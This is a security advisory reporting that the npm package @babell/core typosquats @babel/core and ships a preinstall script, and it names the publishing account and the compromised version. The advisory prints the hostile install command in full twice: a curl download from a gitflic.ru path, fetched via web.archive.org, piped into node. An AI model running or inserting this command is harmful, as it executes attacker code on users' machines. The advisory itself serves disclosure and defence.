@babell/core

MAL-2026-17497

Malicious code in @babell/core (npm)

Details

@babell/[email protected] impersonates @babel/core (it copies the code and metadata of @babel/core) and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`. This runs attacker-controlled JavaScript with the installing user's privileges. The npm account angularr published @babell/core and 5 similar packages on 2026-10-03 between 06:33 and 07:23 UTC, all with the same preinstall script.

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## Source: amazon-inspector (ae256b9ff55b98040ea9cb6561edfe1c4e2db94bd111fb19a449651bd6b5d44b)
The package's package.json defines a preinstall lifecycle script that runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, downloading a JavaScript file from a third-party host (gitflic.ru/hellscripter, fetched through web.archive.org) and piping it directly into Node for execution at install time. The content fetched is unpinned, served from a non-publisher host unrelated to Babel, and executed with the privileges of the installing user. The package name `@babell/core` differs from the legitimate `@babel/core` by a single character, and its description, author, repository, homepage, and README all impersonate the real Babel project, serving as a delivery vehicle for the dropper.

Compromised versions (1)

8.0.6

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.